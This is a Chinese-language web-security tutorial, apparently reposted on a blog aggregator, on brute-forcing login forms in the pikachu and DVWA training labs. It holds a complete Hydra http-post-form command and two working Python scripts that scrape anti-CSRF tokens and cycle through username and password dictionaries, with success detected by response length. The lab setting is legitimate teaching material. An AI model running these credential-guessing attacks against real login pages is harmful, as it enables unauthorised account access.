Hydra post登录框爆破

这篇具有很好参考价值的文章主要介绍了Hydra post登录框爆破。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

无token时的Hydra post登录框爆破

登录一个无验证码和token的页面,同时抓包拦截
Hydra post登录框爆破,web安全

取出发送数据包:username=adb&password=133&submit=Login
将用户名和密码替换
username=USER&password=PASS&submit=Login
同时获取路径:/pikachu/vul/burteforce/bf_form.php
拼接发送数据后就是:
/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login
获取目标Ip:192.168.180.2
获取登录失败时的错误提示:username or password is not exists~
Hydra post登录框爆破,web安全

启动hydra开始爆破
hydra -L /home/kali/dic/acount.txt -P /home/kali/dic/mima.txt -V -f 192.168.180.2 http-post-form “/pikachu/vul/burteforce/bf_form.php:username=USER&password=PASS&submit=Login:username or password is not exists~”
-f表示找到一个马上停止
Hydra post登录框爆破,web安全

带Token时的Hydra post登录框爆破

首先准备一个带token的登录页面
Hydra post登录框爆破,web安全

抓包可以看到存在token
Hydra post登录框爆破,web安全

提取其中的POST路径:/dvwa/login.php
提取ip:192.168.180.2

然后准备一个python脚本,将路径和ip替换到相应位置,如下所示

# -*- coding: utf-8 -*-
import urllib
import requests
from bs4 import BeautifulSoup
##第一步,先访问 http://127.0.0.1/login.php页面,获得服务器返回的cookie和token
def get_cookie_token(ip, url):
    headers={'Host':ip,
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Upgrade-Insecure-Requests':'1'}
    res=requests.get(url,headers=headers)
    cookies=res.cookies
    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和token
    html=res.text
    soup=BeautifulSoup(html,"html.parser")
    token=soup.form.contents[3]['value']
    a.append(token)
    return a

##第二步模拟登陆
#ip 192.168.180.2
#url 'http://192.168.180.2/dvwa/login.php'
def Login(a,username,password, ip, url):    #a是包含了cookie和token的列表
    headers={'Host':ip,
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Content-Length':'88',
             'Content-Type':'application/x-www-form-urlencoded',
             'Upgrade-Insecure-Requests':'1',
             'Cookie':a[0],
             'Referer':url}
    values={'username':username,
            'password':password,
            'Login':'Login',
            'user_token':a[1]
        }
    data=urllib.parse.urlencode(values)
    resp=requests.post(url,data=data,headers=headers)
    return 
#重定向到index.php
def getacount(ip, url):
    with open("acount.txt",'r') as f:
        users=f.readlines()
        stop = False
        for user in users:
            if stop == True:
                break
            user=user.strip("\n")                 #用户名
            with open("mima.txt",'r') as file:
                passwds=file.readlines()
                for passwd in passwds:
                    passwd=passwd.strip("\n")   #密码
                    a=get_cookie_token(ip, url)              ##a列表中存储了服务器返回的cookie和toke
                    Login(a,user,passwd, ip, url)
                    headers={'Host':ip,
                              'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
                              'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                              'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
                              'Connection':'keep-alive',
                              'Upgrade-Insecure-Requests':'1',
                              'Cookie':a[0],
                              'Referer':url}
                    response=requests.get(url,headers=headers)
                    #print(len(response.text))
                    content_size = len(response.text)
                    if content_size != 1562:    #如果登录成功
                       print("用户名为:%s ,密码为:%s"%(user,passwd))   #打印出用户名和密码
                       stop = True
                       break
def main():
    ip = "192.168.180.2"
    url = "http://192.168.180.2/dvwa/login.php"
    getacount(ip, url)
if __name__=='__main__':
    main()

然后开启print(len(response.text))获取错误登录时的长度
Hydra post登录框爆破,web安全

可以看到错误时都是1523,将该值替换到 if content_size != 1523: #如果登录成功
同时注释print(len(response.text))
可以看到顺利爆破出了用户名密码
Hydra post登录框爆破,web安全
方法三(通用?)、文章来源地址https://www.toymoban.com/news/detail-742103.html

from bs4 import BeautifulSoup
import requests
from requests.models import Response

#url = "http://127.0.0.1:98/vul/burteforce/bf_token.php"
url = "http://127.0.0.1:81/login.php"
user_token = '8680761fe979039a6f836599906'
#proxies = {"http": "http://127.0.0.1:8080"}  # 代理设置,方便burp抓包查看和调试
header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0',
    'Cookie': 'PHPSESSID=17u0i2fakm84eq9oc24boc8715'
}

def get_token(r):
    soup = BeautifulSoup(r.text, 'html.parser')
    #选择表单项的token
    #user_token = soup.select('input[name="token"]')[0]['value']
    user_token = soup.select('input[name="user_token"]')[0]['value']
    return user_token

if __name__ == "__main__":
    f = open('result.csv', 'w')     #把爆破结果储存到文件里,这里为csv格式
    f.write('用户名' + ',' + '密码' + ',' + '包长度' + '\n')    #给文件设置标题

    stop = False
    #遍历字典文件,Cluster bomb 暴力破解
    for admin in open("acount.txt"):
        if stop == True:
            break
        for line in open("mima.txt"):
            username = admin.strip()
            password = line.strip()
            payload = {     #payload为POST的数据
                #需有表单数据所有项目,如:username=adb&password=adfd&Login=Login&user_token=637b782363ffc7a618aea9a932c377ce
                'username': username,
                'password': password,
                #'token': user_token,
                'user_token': user_token,
                #'submit': 'Login'
                'Login': 'Login'
            }

            Response = requests.post(url, data=payload, headers=header)
            result = username + ',' + password + ',' + str(len(Response.text))  #用户名密码以及响应包长度

            print(len(Response.text))
            content_size = len(Response.text)
            #if content_size != 34090 and content_size != 34071:    #如果登录成功
            if content_size != 1562 and content_size != 1573:    #如果登录成功
                print("用户名为:%s ,密码为:%s"%(username,password))   #打印出用户名和密码
                #print(result)           #输出到终端
                stop = True
                break
            f.write(result + '\n')  #输出到文件
            user_token = get_token(Response)    #调用get_token函数获取下一次循环需要的token
    print('\n---完成---\n')
    f.close()

到了这里,关于Hydra post登录框爆破的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Hydra密码爆破工具使用教程图文教程(超详细)

    「作者简介」: CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」: 对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 Hydra也叫九头蛇,是一款开源的暴力PJ工具,集成在kali当中。 参数: -l 指定用户名 -p 指定密码 -L 指定用

    2024年02月06日
    浏览(52)
  • ssh渗透与hydra爆破(简明不啰嗦)

    适合新手上路,MSF与hydra两种方式渗透22端口,后进行远程连接,如有不足请各位见谅 此次实验仅供参考,切勿做违法犯罪,出事一切与本人无关后果自负,希望大家早日成为白帽子。 渗透机:kali 靶机:192.168.75.128 1.扫描局域网寻找22端口(开放) nmap 192.168.75.1/24 2.已知192.1

    2024年02月04日
    浏览(46)
  • 使用kali+hydra爆破win7用户密码

    破坏计算机信息系统罪 《中华人民共和国刑法》第二百八十六条 违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,

    2024年02月06日
    浏览(54)
  • 第六天 01-hydra工具windows远程桌面的密码爆破

    RDP是Windows的远程桌面协议。所占用的端口默认为3389,这个是可以修改的。 爆破工具:kali使用hydra(九头蛇)工具进行密码爆破。 hydra语法: ​ hydra IP地址 rdp -l 用户名 -P 密码字典 -V rdp 即RDP协议 -l 小写的l 后面加单用户名,已知用户名 -L 大写的L后面加的是用户名字典,破

    2023年04月08日
    浏览(51)
  • Web安全——穷举爆破下篇(仅供学习)

    hydra 是一个端口穷举服务器的工具 adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin

    2024年02月09日
    浏览(50)
  • Web安全——穷举爆破上篇(仅供学习)

    穷举就是枚举的意思,在互联网的今天,需要使用某种的服务,大多数都需要口令登录,这个口令就是密码,密码的强度分为,弱口令 、中度口令、强度口令。如果登录的服务为弱口令,那会存在很大的安全隐患,黑客通过穷举弱口令对服务进行攻击,很容易就得到登录密码

    2024年02月09日
    浏览(45)
  • 【web安全】弱口令,以及不同领域的弱口令爆破

    简单的理解就是简单的,容易让别人猜出来的密码。 弱口令分了三类 简单常用的易记密码 这种密码是人均常用的密码,比如活到了这么大,我见过很多很多的wifl密码是88888888或者12345678这种的密码。很多情况下数据库教你改密码的教程都是拿123456做例子,照着做完步骤后也

    2024年01月18日
    浏览(45)
  • 爆破登录

    安装nmap yum install -y nmap nmap -A 扫描所有信息 nmap -p 指定端口(a-b) IP段 rpm -qa 已经安装的包 yum deplist 查看依赖关系 查看文件在那个rpm https://pkgs.org/ wget http://www6.atomicorp.com/channels/atomic/centos/7/x86_64/RPMS/firebird-libfbclient-2.5.2.26539.0-8.el7.art.x86_64.rpm hydra 是一个支持众多协议的爆破工

    2024年02月11日
    浏览(32)
  • 【edusrc】某校园网登录系统存在的一个简单爆破

    该漏洞已修复 马上又要发工资了,两个月只挖了一个半洞拿四佰让我有点挂不住脸 没啥思路,正百无聊赖刷B站,突然视频缓冲中。 一看,超。校园网寄了,又要交钱。 众所周知某校的校园网像shit 可是不续的话流量也限速了。 nnd,爷不装了。看看能不能实现白嫖校园网。

    2024年02月04日
    浏览(58)
  • Java Web 安全实战:从登录到退出

    在当今互联网时代,用户信息安全至关重要。在Java Web开发中,Spring Security是一个强大且灵活的身份验证和访问控制框架,它可以帮助我们构建安全可靠的应用程序。本文将介绍如何使用Spring Security实现一个安全的Java Web应用,涵盖登录、记住我、授权、退出登录、验证码、

    2024年01月16日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包